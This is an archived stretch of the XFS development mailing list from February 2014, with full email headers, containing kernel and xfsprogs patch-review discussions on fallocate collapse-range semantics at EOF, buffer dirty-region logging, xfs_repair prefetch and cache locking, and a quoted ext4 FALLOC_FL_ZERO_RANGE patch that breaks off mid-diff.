bh=Xbg/BcOvc1bOlUxlTZ+wFpFBjxB4fulb6ON0aH7II24=; b=AzukeYt7BnIzb2xFzzs6Mb8QUKULj6ltnRHpcRezUx9DmRsUAr0Urij4Imb7omSODr Vs3PstFyM6/Cm7MCzLsAM4UeHhN5oKur5wEysPKkEN0gdx+GyVExIRhXXlDpzuQGesn1 WLzuMTZ7YacnWZvMQkx0+zCRJf3G35W95riyrGdd0XzG3iAshQStGa9zkrHEO68ua8au cyGyy5iJxXjb9zvT77dG4Tdi3fl5YHDYSPDiDelXPMgoDeF8guZdL+zgu18k3F4XjaSn Mgd+gWltopdnRp0cZNI6h2a96pqPkFhyD5Evke/woTA4hx83yDu9Z5WEmB51dqceHpbI tLiw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=Xbg/BcOvc1bOlUxlTZ+wFpFBjxB4fulb6ON0aH7II24=; b=I7a6VpwME79upH7yCfR0q0O0YM5TzQXrDjha0eq4lRp86yp3YWOTD7nzkdFLCEWK1+ +cLzXk6POtim8RSfgYW6WqeyTKPZkxq2vt5GqEimjXoJz1DAt/SRjZ4fqEM2eO/yHgDl DMpBE4E91iya3v3dLj7bq26E+bgi4XKXMo187WkoKU0tAVRJm7CLABlKXgl32WlbufyA XTEawTVjdck5+gGd0WQF7v/Dtu3K0MBxqxDif+7votXQGE5pk4uApMZsS6z/DzKaBGfw Hh4JfjoVylcVJoCMUcCzg6IwJn+2u33D+Hjsb0FvjQhTMSvY56VfsCdr28zsiwHEW45u nDjA== X-Gm-Message-State: ALoCoQla588/+S+bVuBfFgGKsiqGgLQUThC4zSmiDBjL323hvIQGFqEjXEJFWWmz9ja+8O7oWlgFQjTiK5KWO1RXJf/b8G3ZZVZgrge3hHgczseWCjZkd5V/++FZ8J39y7TGtlXokzoMIvmNI6JoV1XBW9VlawtY45JGrHe1/+zTKddptYUKtQUNkypca3tHovaGpBb5w1QP X-Received: by 10.68.44.71 with SMTP id c7mr4461933pbm.24.1393392392240; Tue, 25 Feb 2014 21:26:32 -0800 (PST) Received: from [192.168.148.97] ([216.239.55.193]) by mx.google.com with ESMTPSA id oz7sm16636772pbc.41.2014.02.25.21.26.30 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 21:26:31 -0800 (PST) Date: Tue, 25 Feb 2014 21:25:40 -0800 (PST) From: Hugh Dickins X-X-Sender: hugh@eggly.anvils To: Dave Chinner cc: Hugh Dickins , Andrew Morton , Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140226015747.GN13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: References: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> <20140222140625.GD26637@thunk.org> <20140223213606.GE4317@dastard> <20140226015747.GN13647@dastard> User-Agent: Alpine 2.11 (LSU 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pa0-f46.google.com[209.85.220.46] X-Barracuda-Start-Time: 1393392393 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145520 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, 26 Feb 2014, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 03:41:20PM -0800, Hugh Dickins wrote: > > On Mon, 24 Feb 2014, Dave Chinner wrote: > > > On Sat, Feb 22, 2014 at 09:06:25AM -0500, Theodore Ts'o wrote: > > > > On Wed, Feb 19, 2014 at 01:37:43AM +0900, Namjae Jeon wrote: > > > > > + /* > > > > > + * There is no need to overlap collapse range with EOF, in which case > > > > > + * it is effectively a truncate operation > > > > > + */ > > > > > + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && > > > > > + (offset + len >= i_size_read(inode))) > > > > > + return -EINVAL; > > > > > + > > > > > > > > I wonder if we should just translate a collapse range that is > > > > equivalent to a truncate operation to, in fact, be a truncate > > > > operation? > > > > > > Trying to collapse a range that extends beyond EOF, IMO, is likely > > > to only happen if the DVR/NLE application is buggy. Hence I think > > > that telling the application it is doing something that is likely to > > > be wrong is better than silently truncating the file.... > > > > I do agree with Ted on this point. This is not an xfs ioctl added > > for one DVR/NLE application, it's a mode of a Linux system call. > > > > We do not usually reject with an error when one system call happens > > to ask for something which can already be accomplished another way; > > nor nanny our callers. > > > > It seems natural to me that COLLAPSE_RANGE should support beyond EOF; > > unless that adds significantly to implementation difficulties? > > Yes, it does add to the implementation complexity significantly - it > adds data security issues that don't exist with the current API. > > That is, Filesystems can have uninitialised blocks beyond EOF so > if we allow COLLAPSE_RANGE to shift them down within EOF, we now > have to ensure they are properly zeroed or marked as unwritten. > > It also makes implementations more difficult. For example, XFS can > also have in-memory delayed allocation extents beyond EOF, and they > can't be brought into the range < EOF without either: > > a) inserting zeroed pages with appropriately set up > and mapped bufferheads into the page cache for the range > that sits within EOF; or > b) truncating the delalloc extents beyond EOF before the > move > > So, really, the moment you go beyond EOF filesystems have to do > quite a bit more validation and IO in the context of the system > call. It no longer becomes a pure extent manipulation offload - it > becomes a data security problem. Those sound like problems you would already have solved for a simple extending truncate. But I wasn't really thinking of the offset > i_size case, just the offset + len >= i_size case: which would end with i_size at offset, and the areas you're worried about still beyond EOF - or am I confused? > > And, indeed, the specification that we are working to is that the > applications that want to collapse the range of a file are using > this function instead of read/memcpy/write/truncate, which by > definition means they cannot shift ranges of the file beyond EOF > into the new file. > > So IMO the API defines the functionality as required by the > applications that require it and *no more*. If you need some > different behaviour - we can add it via additional flags in future > when you have an application that requires it. You still seem to be thinking in terms of xfs ioctl hacks, rather than fully scoped Linux system calls. But it probably doesn't matter too much, if we start with an error, and later correct that to a full implementation - an xfstest or LTP test which expected failure will fail once it sees success, but no users harmed in the making of this change. > > > Actually, is it even correct to fail at EOF? What if fallocation > > with FALLOC_FL_KEEP_SIZE was used earlier, to allocate beyond EOF: > > shouldn't it be possible to shift that allocation down, along with > > the EOF, rather than leave it behind as a stranded island? > > It does get shifted down - it just remains beyond EOF, just like it > was before the operation. And that is part of the specification of > COLLAPSE_RANGE - it was done so that preallocation (physical or > speculative delayed allocation) beyond EOF to avoid fragmentation as > the DVR continues to write is not screwed up by chopping out earlier > parts of the file. Yes, I was confused when I pictured a stranded island there. Hugh From david@fromorbit.com Tue Feb 25 23:44:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DD6F77F37 for ; Tue, 25 Feb 2014 23:44:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 78089AC002 for ; Tue, 25 Feb 2014 21:44:13 -0800 (PST) X-ASG-Debug-ID: 1393393450-04cb6c567746a70001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id bkhH576ZPRxXuM1P for ; Tue, 25 Feb 2014 21:44:11 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjVNAGh+DVN5LJYePGdsb2JhbABZgwaDQ4UMs3KFVoEVFwMBAQEBODWCJQEBBAE6HCMFCwgDDgoJJQ8FJQMHGhOHfQfISBcWjjoHhDgElEuDaopniwMo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 16:14:09 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIXHq-0003V9-TA; Wed, 26 Feb 2014 16:44:06 +1100 Date: Wed, 26 Feb 2014 16:44:06 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: byte range buffer dirty region tracking Message-ID: <20140226054406.GP13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: byte range buffer dirty region tracking References: <1393194354-12780-1-git-send-email-david@fromorbit.com> <20140226021525.GB26022@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140226021525.GB26022@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393393450 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145520 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 06:15:25PM -0800, Christoph Hellwig wrote: > Interesting. I had a prototype of this supporting just a single > region a while ago, but never managed to get it to pass all recovery > tests. That was before I separated the in-core from the on-disk > log items, though. Yeah, that makes it much easier to deal with. It's still a bit messy though, and it still panics every so often under heavy load. IOWs I still don't quite have the range-to-bitmap accounting correct. > > Hence if we just track a signle region, it will almost always cover > > the entire directory buffer - if we only modify a single entry in > > the buffer, then that's a fairly large cost in terms of log space > > and CPU overhead for random individual operations. If we decide that > > we are going to use a single range, then we may as well just use the > > dirty flag and log the entire buffer every time. > > Which might not be an all that bad idea given how much log bandwith > we have available. Defintively would be interesting to instrument > and benchmark it vs the 4 regions version. Well, for v4 filesystems under create workloads the increase is definitely noticable - I haven't got measurements to hand, though it was somethign in the order 30% or so for 256 byte inodes due to the increase in size of the inode cluster buffers being logged. For larger inodes that's going to be even worse. We don't have to worry on v5 filesystems, though, so only btree blocks are the main concern.... > Note that we probably should also introduce a log incompat feature to > just log the range instead of converting it to the old bitmap for v5 > filesystems. Yup, that's easy enough to do, and should make the v5 code even simpler and faster.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 23:51:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A71247F37 for ; Tue, 25 Feb 2014 23:51:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 32C63AC004 for ; Tue, 25 Feb 2014 21:51:14 -0800 (PST) X-ASG-Debug-ID: 1393393871-04cb6c567546d50001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id BioalTP0ZLg6XECD for ; Tue, 25 Feb 2014 21:51:12 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgF5AJB/DVN5LJYePGdsb2JhbABZgwY7gwiFDKBqA5MFhVaBFRcDAQEBATg1giUBAQUnExwjEAgDDgoJJQ8FJQMHGhOIBMhLFxaOOgeEOASYNYEzlDco Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 16:21:10 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIXOf-0003Wc-A1; Wed, 26 Feb 2014 16:51:09 +1100 Date: Wed, 26 Feb 2014 16:51:09 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/10] repair: prefetch runs too far ahead Message-ID: <20140226055109.GQ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 07/10] repair: prefetch runs too far ahead References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-8-git-send-email-david@fromorbit.com> <20140226015250.GB3616@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140226015250.GB3616@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393393871 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 05:52:50PM -0800, Christoph Hellwig wrote: > On Mon, Feb 24, 2014 at 05:29:26PM +1100, Dave Chinner wrote: > > @@ -842,7 +842,7 @@ start_inode_prefetch( > > * and not any other associated metadata like directories > > */ > > > > - max_queue = libxfs_bcache->c_maxcount / thread_count / 8; > > + max_queue = libxfs_bcache->c_maxcount / thread_count / 32; > > I can't correlate this to anything mentioned in the changelog. > Also if you're touching it anyway it might be a good idea to document > the magic number here. I was fiddling with the magic number to see if it affected the readahead behaviour (it didn't) and forgot to set it back to the original value. Will fix. > > > +void > > +prefetch_ag_range( > > + struct work_queue *work, > > + xfs_agnumber_t start_ag, > > + xfs_agnumber_t end_ag, > > + bool dirs_only, > > + void (*func)(struct work_queue *, > > + xfs_agnumber_t, void *)) > > +{ > > + int i; > > + struct prefetch_args *pf_args[2]; > > + > > + pf_args[start_ag & 1] = start_inode_prefetch(start_ag, dirs_only, NULL); > > + for (i = start_ag; i < end_ag; i++) { > > + /* Don't prefetch end_ag */ > > + if (i + 1 < end_ag) > > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > > + dirs_only, pf_args[i & 1]); > > + func(work, i, pf_args[i & 1]); > > + } > > +} > > This seems to largely duplicate the common code added in patch 5. > Having _range variants of those that the non-range ones wrap with 0 and > mp->m_sb.sb_agcount as default parameters would avoid that duplication. Actually, that's pretty much what this patch does in this hunk: @@ -905,12 +945,8 @@ do_inode_prefetch( */ if (!stride) { queue.mp = mp; - pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); - for (i = 0; i < mp->m_sb.sb_agcount; i++) { - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, - dirs_only, pf_args[i & 1]); - func(&queue, i, pf_args[i & 1]); - } + prefetch_ag_range(&queue, 0, mp->m_sb.sb_agcount, + dirs_only, func); return; } Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 25 23:53:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 94B887F37 for ; Tue, 25 Feb 2014 23:53:40 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 796188F8073 for ; Tue, 25 Feb 2014 21:53:37 -0800 (PST) X-ASG-Debug-ID: 1393394015-04cbb066e44a780001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id TEy1zocI56Ji2APm for ; Tue, 25 Feb 2014 21:53:35 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjNNAJqADVN5LJYePGdsb2JhbABZgwaDQ4UMs3KFVoEVFwMBAQEBODWCJQEBBTocIxAIAw4KCSUPBSUDBxoTiATITBcWjjoHhDgEmDWVaig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 26 Feb 2014 16:23:34 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIXQz-0003Wp-Rb; Wed, 26 Feb 2014 16:53:33 +1100 Date: Wed, 26 Feb 2014 16:53:33 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 08/10] libxfs: remove a couple of locks Message-ID: <20140226055333.GR13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 08/10] libxfs: remove a couple of locks References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-9-git-send-email-david@fromorbit.com> <20140225200558.GC22351@infradead.org> <20140225234357.GJ13647@dastard> <20140226015432.GC3616@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140226015432.GC3616@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393394015 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 05:54:32PM -0800, Christoph Hellwig wrote: > On Wed, Feb 26, 2014 at 10:43:57AM +1100, Dave Chinner wrote: > > On Tue, Feb 25, 2014 at 12:05:58PM -0800, Christoph Hellwig wrote: > > > So what's protecting the cache hits statistics now? > > > > Nothing. And I don't care because the statistic is meaningless from > > the point of view of tuning xfs_repair performance. > > In that case I think it's better to just remove c_hits instead of > updating it in a racy way. I didn't say it's completely meaningless - it's handy for debugging, just not useful to end users and so accuracy isn't important enough to use a global lock on. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jonernst07@gmail.com Wed Feb 26 00:00:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8E3AE7F37 for ; Wed, 26 Feb 2014 00:00:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 242E3304089 for ; Tue, 25 Feb 2014 22:00:52 -0800 (PST) X-ASG-Debug-ID: 1393394448-04bdf05daa4b2f0001-NocioJ Received: from mail-qc0-f171.google.com (mail-qc0-f171.google.com [209.85.216.171]) by cuda.sgi.com with ESMTP id AiBYri2kFE8YIlOg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 22:00:49 -0800 (PST) X-Barracuda-Envelope-From: jonernst07@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] Received: by mail-qc0-f171.google.com with SMTP id x3so694827qcv.30 for ; Tue, 25 Feb 2014 22:00:48 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=+QxS7zA5bhmNEZUEKn0Ohp0xbHIekb9u+mGiEcYX01A=; b=dSkbYQvetw5frc9P62GkoxicwncHgK4gFcU36h5qC/Dut29F6TvfiRh3cHOECF7hpL NSrD+or2HRAE2nB3HryOr2GR4ZvMpJAh1DdW/5IiKn0Wc9bdQciXd+ZnGxNmz70UywOm WgSIJ5RnAK6aVBHTPEg/t6KjkBNCmMiMu2SJNCHSXlG2sOZbE1Xmpv2vo+2WmfkjPFFd Za1/SlQmUCm0K7JMg0YfkG92XqZT2YXKzUhfmNIlCNMx+Dwzo11kE+K3yIU3yhfdOcSV ImTexI3OOP081EO99Hgqq3Owc0Gu1mcKmveQSSBARUjPO2hjg9GB60A4w20sRdbXQA0j PjuA== MIME-Version: 1.0 X-Received: by 10.224.68.10 with SMTP id t10mr5347408qai.87.1393394448673; Tue, 25 Feb 2014 22:00:48 -0800 (PST) Received: by 10.96.123.231 with HTTP; Tue, 25 Feb 2014 22:00:48 -0800 (PST) In-Reply-To: <1393355679-11160-6-git-send-email-lczerner@redhat.com> References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <1393355679-11160-6-git-send-email-lczerner@redhat.com> Date: Wed, 26 Feb 2014 01:00:48 -0500 Message-ID: Subject: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate From: jon ernst X-ASG-Orig-Subj: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate To: Lukas Czerner Cc: "linux-ext4@vger.kernel.org List" , "Theodore Ts'o" , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qc0-f171.google.com[209.85.216.171] X-Barracuda-Start-Time: 1393394449 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 25, 2014 at 2:14 PM, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > It can be used to convert a range of file to zeros preferably without > issuing data IO. Blocks should be preallocated for the regions that span > holes in the file, and the entire range is preferable converted to > unwritten extents > > This can be also used to preallocate blocks past EOF in the same way as > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > size to remain the same. > > Also add appropriate tracepoints. > > Signed-off-by: Lukas Czerner > --- > fs/ext4/ext4.h | 2 + > fs/ext4/extents.c | 270 +++++++++++++++++++++++++++++++++++++++++--- > fs/ext4/inode.c | 17 ++- > include/trace/events/ext4.h | 64 +++++------ > 4 files changed, 300 insertions(+), 53 deletions(-) > > diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h > index 3b9601c..a649abe 100644 > --- a/fs/ext4/ext4.h > +++ b/fs/ext4/ext4.h > @@ -568,6 +568,8 @@ enum { > #define EXT4_GET_BLOCKS_NO_LOCK 0x0100 > /* Do not put hole in extent cache */ > #define EXT4_GET_BLOCKS_NO_PUT_HOLE 0x0200 > + /* Convert written extents to unwritten */ > +#define EXT4_GET_BLOCKS_CONVERT_UNWRITTEN 0x0400 > > /* > * The bit position of these flags must not overlap with any of the > diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c > index e5485eb..017b4fb 100644 > --- a/fs/ext4/extents.c > +++ b/fs/ext4/extents.c > @@ -3568,6 +3568,8 @@ out: > * b> Splits in two extents: Write is happening at either end of the extent > * c> Splits in three extents: Somone is writing in middle of the extent > * > + * This works the same way in the case of initialized -> unwritten conversion. > + * > * One of more index blocks maybe needed if the extent tree grow after > * the uninitialized extent split. To prevent ENOSPC occur at the IO > * complete, we need to split the uninitialized extent before DIO submit > @@ -3578,7 +3580,7 @@ out: > * > * Returns the size of uninitialized extent to be written on success. > */ > -static int ext4_split_unwritten_extents(handle_t *handle, > +static int ext4_split_convert_extents(handle_t *handle, > struct inode *inode, > struct ext4_map_blocks *map, > struct ext4_ext_path *path, > @@ -3590,9 +3592,9 @@ static int ext4_split_unwritten_extents(handle_t *handle, > unsigned int ee_len; > int split_flag = 0, depth; > > - ext_debug("ext4_split_unwritten_extents: inode %lu, logical" > - "block %llu, max_blocks %u\n", inode->i_ino, > - (unsigned long long)map->m_lblk, map->m_len); > + ext_debug("%s: inode %lu, logical block %llu, max_blocks %u\n", > + __func__, inode->i_ino, > + (unsigned long long)map->m_lblk, map->m_len); > > eof_block = (inode->i_size + inode->i_sb->s_blocksize - 1) >> > inode->i_sb->s_blocksize_bits; > @@ -3607,14 +3609,73 @@ static int ext4_split_unwritten_extents(handle_t *handle, > ee_block = le32_to_cpu(ex->ee_block); > ee_len = ext4_ext_get_actual_len(ex); > > - split_flag |= ee_block + ee_len <= eof_block ? EXT4_EXT_MAY_ZEROOUT : 0; > - split_flag |= EXT4_EXT_MARK_UNINIT2; > - if (flags & EXT4_GET_BLOCKS_CONVERT) > - split_flag |= EXT4_EXT_DATA_VALID2; > + /* Convert to unwritten */ > + if (flags | EXT4_GET_BLOCKS_CONVERT_UNWRITTEN) { > + split_flag |= EXT4_EXT_DATA_VALID1; > + /* Convert to initialized */ > + } else if (flags | EXT4_GET_BLOCKS_CONVERT) { > + split_flag |= ee_block + ee_len <= eof_block ? > + EXT4_EXT_MAY_ZEROOUT : 0; > + split_flag |= (EXT4_EXT_MARK_UNINIT2 & EXT4_EXT_DATA_VALID2); > + } > flags |= EXT4_GET_BLOCKS_PRE_IO; > return ext4_split_extent(handle, inode, path, map, split_flag, flags); > } > > +static int ext4_convert_initialized_extents(handle_t *handle, > + struct inode *inode, > + struct ext4_map_blocks *map, > + struct ext4_ext_path *path) > +{ > + struct ext4_extent *ex; > + ext4_lblk_t ee_block; > + unsigned int ee_len; > + int depth; > + int err = 0; > + > + depth = ext_depth(inode); > + ex = path[depth].p_ext; > + ee_block = le32_to_cpu(ex->ee_block); > + ee_len = ext4_ext_get_actual_len(ex); > + > + ext_debug("%s: inode %lu, logical" > + "block %llu, max_blocks %u\n", __func__, inode->i_ino, > + (unsigned long long)ee_block, ee_len); > + > + if (ee_block != map->m_lblk || ee_len > map->m_len) { > + err = ext4_split_convert_extents(handle, inode, map, path, > + EXT4_GET_BLOCKS_CONVERT_UNWRITTEN); > + if (err < 0) > + goto out; > + ext4_ext_drop_refs(path); > + path = ext4_ext_find_extent(inode, map->m_lblk, path, 0); > + if (IS_ERR(path)) { > + err = PTR_ERR(path); > + goto out; > + } > + depth = ext_depth(inode); > + ex = path[depth].p_ext; > + } > + > + err = ext4_ext_get_access(handle, inode, path + depth); > + if (err) > + goto out; > + /* first mark the extent as uninitialized */ > + ext4_ext_mark_uninitialized(ex); > + > + /* note: ext4_ext_correct_indexes() isn't needed here because > + * borders are not changed > + */ > + ext4_ext_try_to_merge(handle, inode, path, ex); > + > + /* Mark modified extent as dirty */ > + err = ext4_ext_dirty(handle, inode, path + path->p_depth); > +out: > + ext4_ext_show_leaf(inode, path); > + return err; > +} > + > + > static int ext4_convert_unwritten_extents_endio(handle_t *handle, > struct inode *inode, > struct ext4_map_blocks *map, > @@ -3648,8 +3709,8 @@ static int ext4_convert_unwritten_extents_endio(handle_t *handle, > inode->i_ino, (unsigned long long)ee_block, ee_len, > (unsigned long 